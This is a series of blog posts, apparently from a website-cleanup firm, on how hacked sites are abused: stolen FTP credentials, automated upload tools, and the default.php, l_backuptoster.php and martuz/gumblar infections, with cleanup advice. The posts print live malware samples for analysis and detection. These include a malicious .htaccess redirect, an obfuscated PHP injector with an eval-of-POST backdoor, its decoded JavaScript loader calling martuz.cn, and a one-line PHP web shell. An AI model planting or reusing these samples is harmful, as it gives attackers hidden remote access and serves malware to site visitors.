By

How hackers use your website

Due to our work in website security, quite often we’re asked “Why?”

As in, “why do hackers want my website?”

From this article by Webroot: http://www.webroot.com/blog/2013/07/11/new-commercially-available-mass-ftp-based-proxy-supporting-doorwaymalicious-script-uploading-application-spotted-in-the-wild/

you can see that sometimes hackers use your website as a proxy. A proxy is a buffer to their real location. Some of you ask if we can tell you exactly where the hacker is. Unfortunately we can’t. Not for any legal reason, but because hackers hide behind multiple layers of these proxies.

The website security industry would love to be able to track down hackers, but it’s rarely possible.

For instance, they might be in one country. Their computer connects to a server in South America (that they’ve already compromised), from there to a server in Switzerland, then to a compromised server in North America. The last IP address is all that will appear in your log files. In our example here, the last IP address would be from the compromised server in North America.

When we have access to the log files, we mine the IP addresses out of the log files and report them to the proper abuse department. This is a small step toward making the Internet safer, and is some what time consuming, but we do it to help notify others that they have an infected website or server.

The tool mentioned in that article also shows one of the tools used by hackers to upload infectious content to your site – automatically. Many of you believe that someone is sitting behind a computer and attacking your website, or uploading malicious files to your site.

Not at all.

Most, if not all, of today’s website infections are the result of an automated tool.

After one of the screen captures this caught my attention:

The tool works in a fairly simple way. It requires a list of user names and passwords, which it will then use to automatically upload any given set of files/scripts through the use of automatically syndicated fresh lists of proxies.

So, when the hackers have a list of compromised FTP users, they load it up in this tool and then they can send the same infectious code to hundreds or thousands of websites.

With the log files activated, we can see the FTP account used and the IP address of where the connection originated (the last proxy IP address).

Here’s our Website Security Best Practices for FTP accounts:

  • Create a separate FTP account for each user. Not all hosting providers allow this. Many only allow one. But if you’re with a hosting provider who provides cPanel, then you can create separate FTP accounts. Also make certain they have good strong passwords.
  • Activate the logs. Most hosting providers have the logs turned off by default. They know that nobody other than us, ever read the logs so why consume so much disk space? Again, if you’re on a cPanel account, scroll down to the section labeled “Statistics” and select the “Access Logs” icon. It might be different on various hosts, but that should get you in the general area. You can check both boxes. If you’re not on a cPanel account, then ask your hosting provider.
  • If you provide access to a web developer or anyone else, ask them what anti-virus program they use on their local computers. Every potential point of entry needs to be accounted for. If they have a virus on their computer and it steals the login credentials for the FTP account you provided them, guess what? You could have the best website security team in the world (yes – us!) and your website will still get infected.
  • Be diligent about the FTP accounts. If someone that you’ve provided FTP access to no longer needs that access, then delete their FTP account. Remember, hackers only need one way in. Yes, this is a pain, but so is getting your website infected.

You’ll notice that we didn’t recommend SFTP as many do.

Why?

We understand how hackers work. While SFTP sounds more secure, the reality of it is – that it really isn’t.

All SFTP does is encrypt the traffic between your computer and the destination – your website. However, a few things to mention.

Most hosting providers will only allow you to create one SFTP account and frequently it’s the same account used to login to your hosting account. If you want to provide access to someone who will be making changes to your website – legitimate changes, you have to give them access to your hosting account. If you have 3 or 4 people who need access to your website files, now you have 3 or 4 more potential points of entry for hackers.

With only one account, you have lost the advantage of FTP logging. There will only be one account listed in there. If your website security is compromised, looking in your log files will tell you how it happened, but you have no idea who has the virus that is stealing the account information.

Which brings me to the last reason we don’t recommend SFTP.

We’ve seen the way the viruses/trojans work. They steal the login URL, username and password from your computer. It doesn’t matter if you you’re using SFTP or FTP, it steals the login address and protocol. The hackers will login and upload their malicious files using an encrypted channel (SFTP). They can thank you later for thinking of their need for security.

This is the same reason we don’t recommend changing the login URL and username for WordPress. When hackers steal the information you may have changed your login URL to http://(yoursite.com)/Supercalifragilisticexpialidocious and your admin user to: rumpelstiltskin, but when the hackers steal the information, they steal that as well.

Let me know your thoughts about this. Post a comment. Ask a question.

Thank you for your time.

By

BlackOS helps website hackers automate their “business”

Trend Micro has released a report which gives some details about the automation of website hacking. Their report: http://blog.trendmicro.com/trendlabs-security-intelligence/new-blackos-software-package-sold-in-underground-forums/ set us off on a search for more information.

We found that this software allows hackers to manage large lists of stolen FTP credentials. The hackers can easily inject custom iframe code into compromised websites. The code can be modified to redirect visitors depending on their operating system (Mac, Windows, etc.), browser (Safari, FireFox, Internet Explorer, Chrome, etc.) and even different versions of those operating systems and browsers.

They can even customize their code to redirect based on the referrer (Google, Yahoo, Bing…) and country of origin.

When you see how the hackers talk about easily finding 10,000 websites, it becomes very alarming. One clip we found is this:

Approximately 15-20% have access to FTP SSH, you can also check behind mail + pass on base have access to FTP or SSH. – all accounts reviewed by our SSH server exploits to get root. With 10k SSH accounts you can get in the area of 500 root access to the servers!

What it appears they’re saying is that 15-20% of FTP accounts are also the credentials for SSH. If so, the hackers can gain “root” access via SSH.

Out of 10K accounts you can get about 500 with server root access! Simple backdoor is installed for all ‘root’s to elevate the rights for consequent access.

If you’re on a VPS or dedicated server, this type of access typically means complete server rebuild or reload. When they have root access it’s game over. They won.

Why do we bring this to your attention?

You have to constantly think about all the possible ways hackers have of getting into your server – always.

Frequently we see many FTP accounts created for the various websites on a VPS or dedicated server. If you’re going to host multiple websites on your server, please create a separate cPanel account for each site. That creates a separation between your sites.

By

What’s the best anti-virus program?

In cleaning infected websites and protecting them, we constantly see infected websites that have been infected due to stolen passwords.

Which passwords?

That all depends. Sometimes it’s the CMS (WordPress, Joomla, Drupal, etc.) or the ecommerce (Zen Cart, osCommerce, etc.). Other times it’s either the hosting account or the FTP account’s password that is stolen.

How can we tell?

There are numerous ways of determining when stolen passwords were used as the point of entry into a hosting account or website, but frequently we can see successful logins in the log files from places all over the world. Mind you, these are not attempted logins, but actual logins.

Often times we can tell by the type of infection or where the infectious code is located, whether or not the point of entry to an infected website is via stolen passwords.

How does this happen?

Typically there is a virus on someone’s local computer that is stealing the password. When this happens you can “cloak” your WordPress login page, you can have a 52 character password with multiple special characters, you can rename the admin account, but none of this matters as the password stealing viruses and trojans steal: the login URL, the username and the password.

This can also happen if you’re using SFTP or FTPS, the “secured” file transfer protocol.

Yes, this even happens to Mac users. Quite often we find that Mac owners don’t have any anti-virus program or they’re using ClamAV for Mac.

With everyone seeking “free” anti-virus programs, we typically recommend: Free version of Avast for Mac, or Sophos for Mac.

On PCs, the most used anti-virus program is Microsoft Security Essentials. That is not what we recommend, but that is what most people are using.

Today, I read an article that gives some details into why Microsoft Security Essentials may not be a reliable program to use if you’re trying to keep your PC safe.

Here is the article I read:

Please understand I am not a Microsoft hater. I don’t hate anyone. But in our efforts to lower our already low re-infection rate (currently at .048%) we like to recommend products that will save you money and be highly effective.

If you could take a minute, let me know what anti-virus program you use and whether you’re on a Mac or a PC.

Thank you.

By

Attack of the default.php files

We’ve been seeing many infected websites that have numerous default.php files “sprinkled” throughout the site.

These files are being used by hackers to infect other websites.

The code inside the default.php files usually starts with:

eval (gzinflate ( base64_decode ("...

The file will usually be either 2,858 or 2,556 in size.

These files are uploaded to the website via FTP.

How do hackers upload files to your site with FTP?

They have stolen your password!

If you have access to your FTP log files, you will see some entries like this:

Sun Jan 13 21:41:48 2013 0 XX.XX.XX.XX 2848 /home/(name of your account)/public_html/default.php b _ i r ftpaccount ftp 1 * c

The ftpaccount shown in the log entry will be the one that has been used by the hackers to upload the default.php files to your site. Whoever is using that account legitimately could be the using the computer with a virus on it that has stolen the passwords.

The default.php files are also used to upload malicious .htaccess files. Those files will have something like this:

RewriteEngine On

RewriteBase /

RewriteCond %{HTTP_REFERER} ^http: //[w.]*([^/]+)

RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/$ [NC]

RewriteRule ^.*$ http: //le-guide-thalasso-sainte-maxime. com/wapn.html?h=1415319 [L,R]

We’ve seen various domains inserted into that last line but the format is basically the same: URL/randomname.html?h=(some numbers)

First thing is to change all your passwords: hosting account, FTP, website (WordPress, Joomla or other…). Then DO NOT log back in again until you have scanned all your computers – yes even Macs.

Next, reviewing the log files will show you where on your site the files were uploaded and then you can delete those files. Check your .htaccess files for any code similar to the above. If there was already a .htaccess file in that folder, they have added their malicious redirects. The above lines can simply be removed from your file.

If there wasn’t already a .htaccess file there then the hackers have added one and it can just be deleted.

Again, please run daily virus scans on all computers – daily. When your anti-virus program updates, it typically doesn’t run a full scan. So any updates you received today on your anti-virus program will not detect anything already on your system until you run a full scan. The updates will only protect your computer from the new infections.

With this infection there are typically additional backdoor shell scripts added to the site as well. Those have generally been something using the base64_decode string so you can search your files for that and then further analyze the file to determine if it’s malicious or not.

If you need help cleaning this up, please send me an email at: traef@wewatchyourwebsite.com

Thank you.

If you found this useful, please share it.

By

l_backuptoster.php still showing

Over the past few weeks we’ve cleaned a number of websites that were infected with l_backuptoster.php and while it’s been around awhile, we thought we would share our experience. This infection isn’t so much about website security as it is about computer security, but it does eventually affect your website security as well – which is why we’re involved.

For those of you unfamiliar with this little gem, it’s used by hackers to send SPAM. It is uploaded to the website via FTP – which means that the FTP password has been compromised, or worse, the hosting account password has been compromised.

In the most recent instances of websites infected with the l_backuptoster.php file, a new FTP account was created on the hosting account and that was used to upload the files. The files is uploaded with 2 other files: body1.txt and body.txt, used, then deleted until the next time the hacker wants to send SPAM.

Here is what you might see in your FTP logs:

Tue Dec 20 06:32:41 2011 0 xx.xx.xx.xxx 320 /home/path/public_html/body1.txt b _ i r candy@yourdomain ftp 1 * c
Tue Dec 20 06:32:42 2011 0 xx.xx.xx.xxx 292 /home/path/public_html/body.txt b _ i r candy@yourdomain ftp 1 * c
Tue Dec 20 06:32:42 2011 0 xx.xx.xx.xxx 8160 /home/path/public_html/l_backuptoster.php b _ i r candy@yourdomain ftp 1 * c

The xx.xx.xx.xxx would actually be where this traffic is originating. The number after is the file size, the path and the FTP account used.

You see that first the body1.txt file, with a size of 320, was uploaded to the folder shown, followed by body.txt with a size of 292 and finally the l_backuptoster.php file with a size of 8160.

If you’ve been infected with this, and you have your Raw Access Logs activated, you will probably also see entries like these in your access logs:

xx.xx.xx.xxx – – [12/Jan/2012:12:34:58 -0700] “GET /l_backuptoster.php?id=4550&ipAddr=xx.xx.xx.xxx&serv_name=www.yourdomain HTTP/1.1” 200 205 “-” “-”
xx.xx.xx.xxx – – [12/Jan/2012:12:34:58 -0700] “GET /l_backuptoster.php?id=4554&ipAddr=xx.xx.xx.xxx&serv_name=www.yourdomain HTTP/1.1” 200 205 “-” “-”

Again, the xx.xx.xx.xxx would actually show the originating IP address. In our work, we track down this IP address and report it to the proper people as this is an indication that the originating IP address is being used in a suspicious manner.

In the above log file entries the ipAddr matches the first IP address and the serv_name parameter would be your, or the infected URL.

You will probably see hundreds of these lines if your website is being used with the l_backuptoster.php file.

What we found in each case of a website infected with l_backuptoster.php was that the FTP account used to upload these files was not created by the hosting account owner. The only way this could have been achieved was if the hosting account password had been compromised.

If this is true, then the hackers are no longer just stealing the FTP login credentials, but their keyboard loggers are also recording all logins and the hackers are very interested in infecting websites so why not create their own FTP account.

As stated earlier, after the activity in the access logs, we found that the 3 files uploaded were deleted so there was no trace. The hackers would simply upload the files again at a later time, use them and delete them.

Without constant watching of the log files, we would not have seen this.

If you have been a victim of the l_backuptoster.php website infection, here’s what you should do:

  • Change your hosting account password
  • Check your hosting account for unused or unauthorized FTP accounts and delete any that you aren’t familiar with
  • Create new passwords for remaining FTP accounts
  • Perform a full system virus scan with either Avast! or AVG anti-virus and use Malwarebytes as a secondary scanner. If you’re using a Mac try BitDefender
  • Check your log files on regular basis. Download them to your computer and search for ‘l_backuptoster.php’

One point to remember, do not ever have your browser save your hosting account password or the any passwords. We have copies of the viruses hackers use to steal passwords and they work extremely well on browser saved passwords!

If you’ve been infected by this and have more to add, please leave a comment. If you need help in cleaning this up and getting everything “locked down”, please email me at traef@wewatchyourwebsite.com or call at (847)728-0214.

Thank you.

If you found this useful, Tweet about us, like us on Facebook or follow us on Google+.

By

The Blame Game

Major Malware Outbreaks Evade Anti-Virus Protection

A report released on July 14, 2009 states that “Several successive and massive malware outbreaks caused a spike in malware that was undetected by major AV engines.”

In Commtouch’s Q2 Report available here , which covers the analysis of over 2 billion emails and Internet transactions, they also claim:

  • “Business” was the website category most infected with malware
  • An average of 376,000 new zombies were activated each day with malicious intent

Amir Lev, Chief Technology Officer of Commtouch said that for the last 18 months anti-virus (AV) engines used many generic signatures, which were effective at blocking malware. However, malware writers and distributors introduced new variants which are immune to these generic signatures.

This time period coincides with the infection of 1,000s of websites with gumblar, martuz and iframe malscripts which then received Google’s moniker of “This site may harm your computer.”

The Blame Game

Answering many, many blog and forum postings from disgruntled website owners and developers who’ve been the victim of these recent gumblar, martuz and iframe infections, it’s been our experience that quite often the thought process of the victimized website owner follows this path:

  1. The website owner or webmaster receives an email from Google notifying them that their site is infectious. Google rarely (if ever) is wrong so they immediately slap all SERPs (Search Engine Result Pages) with the “This site may harm your computer” label thereby stopping all traffic dead in it’s tracks.
  2. Cautiously the site owner or webmaster will try to view the site. They don’t want to become infected from their own site, but their curiosity is overwhelming. They typically don’t see anything malicious.
  3. “How do I find and clean this?” Often these people will post questions on sites like Google’s Webmaster Forums or www.badwarebusters.org or some other favorite online watering hole.
  4. Then their focus turns to, “Who’s to Blame?”

The feeling of many site owners is one of “I’ve been violated and I need to blame someone.”

When hacking victims get to “Who’s to blame”, they quite often turn their attention to their hosting provider. Many times the blogs and forums are filled with postings where people blame even some of the largest hosting providers. Site owners want to instantly spend the time and money to move their website to a different hosting provider where they’ll once again feel safe and secure.

All because they feel it’s the hosting provider’s fault their site, or sites, were hacked.

The site owner or developer will call the hosting provider looking for assistance from their technical staff and quite frequently, they can’t find the obfuscated malscript buried deep inside some harmless HTML code either. Many times the website has been blocked by various anti-virus programs, Google’s search results and sometimes even corporate website filters for days or weeks before the issue is resolved.

Even if the site owner goes through the trouble of moving to a new hosting provider, with these recent infections, their site will just get hacked again and again.

Then who’s to blame? The new hosting provider? How many more hosting provider’s will the site owner move to until they finally find one that gives them that safe and secure feeling?

Many site owner’s want the hosting provider to take responsibility and clean their site. After all, they’re paying their $5 – $10 per month so the hosting provider should take responsibility and the spend the time to clean the infectious website, right? No matter how many times the site gets re-infected.

Don’t Shoot the Messenger

I hate to be the one to break it to you, but, hosting providers had nothing to do with websites getting hacked with the recent gumblar, martuz or iframe injections. It was anyone’s fault but theirs.

It could be the site owner’s fault, or the anti-virus company’s fault, or Microsoft’s fault, or the fault of the company that wrote the FTP software being used.

It was almost anyone’s fault – except that of the hosting provider.

Let me explain.

You see, with all the malware that went undetected by these generic signatures, thousands of PCs were compromised. According to the Commtouch report referenced above, 376,000 new zombies per day.

You could blame Microsoft, however, the Commtouch report also shows an increase in the amount of Mac malware as well. Besides, blaming Microsoft is so 2,000 late.

These recent website infections came from viruses on the PCs of people who have FTP access to websites.

OMG!

Does that mean it could be the fault of the website owners, developers and webmasters?

It might, rabbit, it might.

These recent undetectable viruses steal FTP credentials – usernames and passwords. These viruses search through the files of popular FTP software looking for the file with the stored FTP credentials. These viruses also record keystrokes so when an infected PC is used to type in the FTP credentials, they get stolen. As another point of attack the viruses also “sniff” FTP traffic. Since FTP transmits all data in plain text, it’s easy for a sniffer to see the username and password in the FTP data stream and steal it. We even did a video to show how easy it is to sniff FTP traffic. It’s so easy that some people use a sniffer on their own FTP traffic if they forgot their stored password. Here’s our video.

Virus writers are incredibly smart and this round of malware proves it.

Once the virus has the FTP credentials it sends them to the server of a cybercriminal. This server is configured to login to the website as a valid user, inject it’s infectious code and move on to the next site.

Who’s to Blame?

How many websites did you visit that displayed some type of ad? Did you know that many ad networks have served up infectious ads – unknowingly of course, but nonetheless, the ads could have infected many visitors.

How many websites did you visit that displayed Flash intro’s or allowed you to view an Adobe Acrobat file (pdf)? Adobe had a few vulnerabilities in their software, that were exploited during and prior to this time period. Combine a vulnerability in files so widely used with the ineffective generic anti-virus signatures, and there’s another source to blame. Maybe two new sources – the AV companies and Adobe.

Did you update your Adobe products as soon as the update was available?

If not, then there’s another person to blame – you.

Could the companies that wrote the FTP software used, maybe have encrypted the stored usernames and passwords so that it wasn’t quite so easy to find and steal the FTP credentials? There’s anothe source to blame.

Maybe if so many people didn’t use their PCs with full administrator rights, there wouldn’t be such a virus outbreak in the first place. Maybe these PC owners are to blame.

Whoever you decide to blame, don’t incur the costs involved with moving to a new hosting provider before you find out what your site was infected with and how those infections occurred. You might be barking up the wrong tree.

I’ll tell you, the cybercriminals are to blame.

They’re the people who write and distribute viruses, malware and malscripts.

Cybercriminals (some call them hackers) want to control as many computers as they possibly can. They don’t care if it’s a computer for a university or if it’s the computer of a new Internet start-up company. One compromised computer looks just the same as another.

Compromised computers make up their inventory.

You know what a hacker calls an uninfected computer – opportunity!

Their digital assets are the computers they control. Often times some of their inventory of infected computers gets rented out to other cybercriminals. This provides them with a source of income.

If you really need to blame someone, blame the hackers, or the international cyber laws, or the world economy. Just don’t blame the hosting providers.

Hosting providers provide a very valuable service. Their margins are squeezed tighter and tighter as it seems everybody thinks it’s a great idea to enter the hosting industry. The good hosting providers work hard for their customers. They depend on customer retention and acquisition – just like every other business. They do the best they can with what they have.

The only thing a hosting provider could do to prevent these gumblar, martuz and iframe infections is to block all FTP traffic. Then you would have a very good reason to blame them for something, but you still wouldn’t be able to justify blaming them for the rash of website infections.

It simply isn’t their fault.

Let me know your thoughts on this. Who would you blame if your site got hacked? Who did you blame if your site was already hacked?

By

A New Spin on martuz Website Infection

We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was an infectious website delivering malicious code with an email from Google.

This website owner had tried removing the code himself from the infected webpages and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome,  were greeted with a big warning:

This site may harm your computer.

After about a week of trying to rectify the problem himself, he contacted us.

He provided us FTP access to his site so we could tackle it.

After downloading his site (which literally took 3 hours) we started scanning. We grep’d for the word “base64_decode” and found over 228 php files all with the following malscript:

(php tag removed) if(!fun ct ion_ex ists(‘tmp_lkojfghx’)){if(is set ($_POST[‘tmp_lkojfghx3’])) eval($_POST[‘tmp_lkojfghx3’]) ;if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,b ase64_de cod e(‘PHNjcmlwdCBsYW5ndWFnZT 1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBWaXRMPSclJzt2YXIgU3VvPSd2YXJfMjB
hXzNkXzIyU2NyaV83MHRFbmdfNjluZV8yMl8yY2JfM2RfMjJWZXJzaV82Zm4oKStfMjJfMmNqX zNkXzIyXzIyXzJjdV8zZG5hdl82OWdfNjF0XzZmcl8yZV83NV83M182NXJfNDF
nZW50XzNiaWYoXzI4dV8yZWluZGV4T2ZfMjhfMjJfNDNocl82Zl82ZGVfMjIpXzNjXzMwXzI5XzI2 XzI2KHVfMmVpbmRfNjV4T2YoXzIyV182OV82ZV8yMilfM2UwKV8yNl8yNl8
yOHVfMmVpbmRleF80Zl82Nl8yOF8yMk5UXzIwNl8yMilfM2MwKV8yNl8yNihfNjRvY183NW1fNjV uXzc0XzJlXzYzb29rXzY5ZV8yZWluXzY0ZXhPZihfMjJtaWVrXzNkMV8yMil
fM2NfMzApXzI2XzI2KF83NHlwZW9fNjYoXzdhXzcyXzc2enRzXzI5XzIxXzNkdHlwXzY1b182NihfMjJ BXzIyKSkpXzdienJfNzZ6Xzc0c18zZF8yMkFfMjJfM2Jldl82MWwoXzI
yaWYoXzc3aW5kXzZmd18yZV8yMithXzJiXzIyKWpfM2RqK18yMitfNjErXzIyXzRkYWpvcl8yMl8yY mIrYStfMjJNaW5vcl8yMitiK2ErXzIyQl83NWlfNmNkXzIyXzJiYitfMjJ
qXzNiXzIyKV8zYmRvY183NW1fNjVfNmVfNzRfMmV3cml0ZShfMjJfM2NfNzNfNjNyaV83MF83NF8y MHNfNzJjXzNkXzJmXzJmbWFyXzIyK18yMl83NF83NXpfMmVfNjNuXzJmdml
kXzJmXzNmXzY5ZF8zZF8yMitfNmErXzIyXzNlXzNjXzVjXzJmc2NyaXBfNzRfM2VfMjJfMjlfM2JfN2Qn O2V2YWwodW5lc2NhcGUoU3VvLnJlcGxhY2UoL18vZyxWaXRMKSkpfSk
oKTsKIC0tPjwvc2NyaXB0Pg==’));fu nc tion tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(su bstr($s,10,-8));
if(preg_match_all(‘#<script(.*?)</sc ri pt>#is’,$s,$a))for ea ch($a[0] as $v) f(count(exp lo de(“\n”,$v))>5)
{$e=preg_match(‘#[\'”][^\s\'”\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_m atch(‘#[\(\[](\s*\d+,){20,}#’,$v);
if((pr eg_match(‘#\beval\b#’,$v)&&($e||str pos($v,’from Char Code’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}
$s1=preg_re pl ace(‘#<sc ri pt lan gu age=java scri pt><!– \n\(fun ct ion\(.+?\n –></script>#’,”,$s);if(stristr($s,'<body’))
$s=preg_replace(‘#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,'</body’)||stristr($s,'</title>’))
$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0) {$s=array();

if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v)
if(($a=$v[‘name’])==’tmp_lkojfghx’)re t urn;else $s[]=array($a==’default output handler’?false:$a);
for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);
for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)
$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2(); ?>

The base64_decode section evaluates to this:

<script language=javascript><!–

(f u n c t i o n(){var VitL=’%’;var Suo=’var_20a_3d_22Scri_70tEng_69ne_22_2cb_3d_22Versi_6fn()+_ 22_2cj_3d_22_22_2cu_3dnav_69g_61t_6fr_2e_75_73_65r_41gent_3bif
(_28u_2eindexOf_28_22_43hr_6f_6de_22)_3c_30_29_26_26(u_2eind_65xOf(_22W_69_6e_22) _3e0)_26_26_28u_2eindex_4f_66_28_22NT_206_22)_3c0)_26_26
(_64oc_75m_65n_74_2e_63ook_69e_2ein_64exOf(_22miek_3d1_22)_3c_30)_26_26(_74ypeo _66(_7a_72_76zts_29_21_3dtyp_65o_66(_22A_22)))
_7bzr_76z_74s_3d_22A_22_3bev_61l(_22if(_77ind_6fw_2e_22+a_2b_22)j_3dj+_22+_61+_ 22_4dajor_22_2bb+a+_22Minor_22+b+a+_22B_75i_6cd_22_2bb+_22j_3b_22)
_3bdoc_75m_65_6e_74_2ewrite(_22_3c_73_63ri_70_74_20s_72c_3d_2f_2fmar_22+_22_ 74_75z_2e_63n_2fvid_2f_3f_69d_3d_22+_6a+_22_3e_3c_5c_2fscrip_74_3e_22_29_3b_7d’;
e v a l(un esc ape(Suo.replace(/_/g,VitL)))})();
–></script>

Which deobfuscates to:

var a=”S cri ptE ng ine”,b=”Version()+”,j=””,u=na vi g ator.user A gent;if((u.indexOf(“Ch rome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6”)<0)&&
(do cu ment.coo kie.ind exOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;ev al(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);
doc um ent.w ri te(“<sc ri pt src=//mar”+”tuz.cn/vid/?id=”+j+”><\/script>”);}
if(window.Script Engine)j=j+ScriptEng ineMajorVersion()+ScriptEng ineMinorVersion()+Scrip tEngine BuildVersion()+j;
<script src=//martuz.cn/vid/?id=></script>

a typical martuz infection.

Using PowerGrep we did a search and replace on this text and replaced every occurrence with “”.

We dug further into the files returned with our search for the word “base64_decode” and found 2 php files in every folder name “images”. These 2 files were named “image.php” and “gifimg.php” and inside each was the following code:

(php tags removed) eval(base64_decode(‘aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1Rb J2UnXSkpOw==’)); (php tags removed)

Which decodes to:

if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));

Which just decodes whatever text string is POST’d to this file.

To test, we encoded some commands and setup a little script to POST to this form with our commands. It worked!

In addition to these 2 files we found many others in various folders that contained the same code. We’re working on determining how these files are named. It almost seems random, but in order for this to be an automated process we feel that there must be some algorithm in creating the file names. Otherwise, the cybercriminals would have to keep a database or list of each site name and the file name associated with that site. This is highly unlikely as they are into automated routines and keeping a list like that just doesn’t make much sense.

Being that this was martuz, we felt confident in recommending that the client change from FTP to either FTPS or SFTP and then scan their PC fully before accessing the site again. With this new twist of having these php files accept scripts and run them, we are concerned about this new form of infection.

We have seen some people report that you have to replace these php files with an empty file of the same name. That might be the case in some situations, none that we’ve seen, but that would require that the cybercriminals had another file on your site that monitored those files. That monitoring program needs to be found and eliminated.

Another interesting thing about the file names is that WordPress installations have files named image.php obviously with different code, but that tactic might be to deter people from just “willy nilly” deleting those files.

Stay tuned as we have many, many more websites to clean. We’ll be reporting on them as we obtain more information.

By

How To Find martuz.cn in Websites

After our post earlier today about how martuz.cn is the new domain for gumblar infections, we’ve received hundreds of emails from people (I guess too embarassed to post their question in an open forum), asking how to find martuz.cn in websites.

We’ll use a utility program called wget. Wget allows you to download the “raw” webpage from a site. It’s used quite heavily in the Linux world, but there is also a version for Windows users.

You can download wget from here: http://gnuwin32.sourceforge.net/packages/wget.htm

I recommend you select the Complete Package, except sources.

Download it, install it – you can just accept all of the defaults.

Now open a command prompt (Start->Run->cmd->OK).

Change directories like this: cd \”Program Files\GnuWin32\bin” <enter>

Let me explain a little about the options we’ll use with wget.

Sometimes these infectious malscripts like martuz.cn will only show themselves when viewed with a specific browser. In the recent days, martuz.cn won’t activate if you visit one of their infectious websites with Google Chrome as your browser. To be sure, we’ll set our user agent (which is what gets checked for your current browser) to Internet Explorer on a Windows XP computer.

Other times infectious malscripts like martuz.cn or certain variations of gumblar.cn will only try to infect a visitor’s PC if the visitor is coming to the infectious site from a Google search. In that case we would need to set “referer” to Google’s home page.

Here’s how we do it with wget. You would enter this in your command prompt:

wget –user-agent=’Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)’ –referer=http://www.google.com http://www.yoursitehere.com

Obviously you would change the http://www.yoursitehere.com with your webpage. For instance, if your website is http://www.joesbarandgrill.com you would simply use the above command but with http://www.joesbarandgrill.com in place of http://www.yoursitehere.com

This will download your homepage into the current directory on your PC.

If your site has already been indexed by Google and found to have infectious webpages, you can use this Google search to find out which pages Google has found malscripts on.

site:yoursitehere.com

The Search Engine Results Pages (SERPs) will show you each page from your site and any pages that Google thinks has malscripts on them will display their warning “This site may harm your computer”.

You should use wget for each page that Google lists as hosting malscripts by providing the complete URL in the wget command line.

For instance, if you have a webpage contactus.html and it’s listed in Google SERPs as hosting malscripts, then you would use this wget command:

wget –user-agent=’Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)’ –referer=http://www.google.com http://www.yoursitehere.com/contactus.html

That will download contactus.html into your current directory and you would scan that for any malscripts.

Now that you have downloaded your webpages into your current directory, you can begin the process of searching through the files.

While at your command prompt type in:

edit index.html

Then use search->find and type in the word: mart

The reason you don’t search for martuz.cn is that the cybercriminals know that would make it too easy for you to find. Their script (one of them we’ve found) looks like this:

var a="Script Engine",b="Version()+",j="",u=navigator.userAgent;
if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){
zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
document.w rite("<script src=//mar tu"+"z.cn/vid/?id="+j+"><\/script>");}

So you can see that if you were to scan for martuz, you’d never find it because their malscript uses string concatentation to “build” martuz.cn (martu + z.cn)

Here’s another martuz script we found:

(f u n c t i o n(){var G33z1='%';var KlKj='va-72-20a-3d-22-53c-72i-70t-45n-67-69ne-22-2cb-3d-22-56-65-72-73-69o-6e(-29+-22-2cj-3d-22-22-2c-75-3d-6eavigato-72-2eus-65-72-41-67ent-3bi-66-28-28u-2e-69ndexOf(-22Chrome-22-29-3c0-29-26-26(u-2e-69ndexOf(-22W-69n-22-29-3e0)-26-26-28u-2ein-64e-78Of(-22-4eT-206-22)-3c0)-26-26(d-6fcument-2ecookie-2e-69-6edex-4ff-28-22-6die-6b-3d1-22)-3c-30)-26-26(type-6ff-28z-72vzts)-21-3dty-70e-6ff(-22A-22)-29)-7bz-72v-7ats-3d-22-41-22-3beval(-22if(window-2e-22-2b-61+-22)j-3dj+-22+a-2b-22Majo-72-22-2bb+a-2b-22Mi-6eo-72-22-2bb+a+-22-42uild-22+b+-22-6a-3b-22)-3bdoc-75m-65nt-2e-77rite(-22-3c-73-63ri-70-74-20src-3d-2f-2fm-61rtu-22+-22z-2ec-6e-2f-76id-2f-3fid-3d-22+j+-22-3e-3c-5c-2fs-63ri-70-74-3e-22)-3b-7d';var m8nw=KlKj.replace(/-/g,G33z1);e val(unescape(m8nw))})();

If you look at this second malscript you won’t find martuz or mart or any other text even close to the first malscript. If you find any script like this in your downloaded webpages, more than likely your site is serving infectious code. This is an example of the steps cybercriminals will go through to obfuscate their malscripts.

You’ll have to scan through each file on your website in order to see if you have any martuz.cn infections. If you do find them, you should scan your PC for any viruses with AVG, Avast or Malwarebytes, clean it, change the FTP password to your site and upload your last known, good backup. You do have a backup right?

We are working on a video to show you how to move away from FTP and use SSH/SCP instead, but we’re not quite ready with it yet.

If you subscribe to this blog, you’ll get an update when it’s ready.

Thank you. We hope you found this useful. If you have any questions, please email us or post your comments below.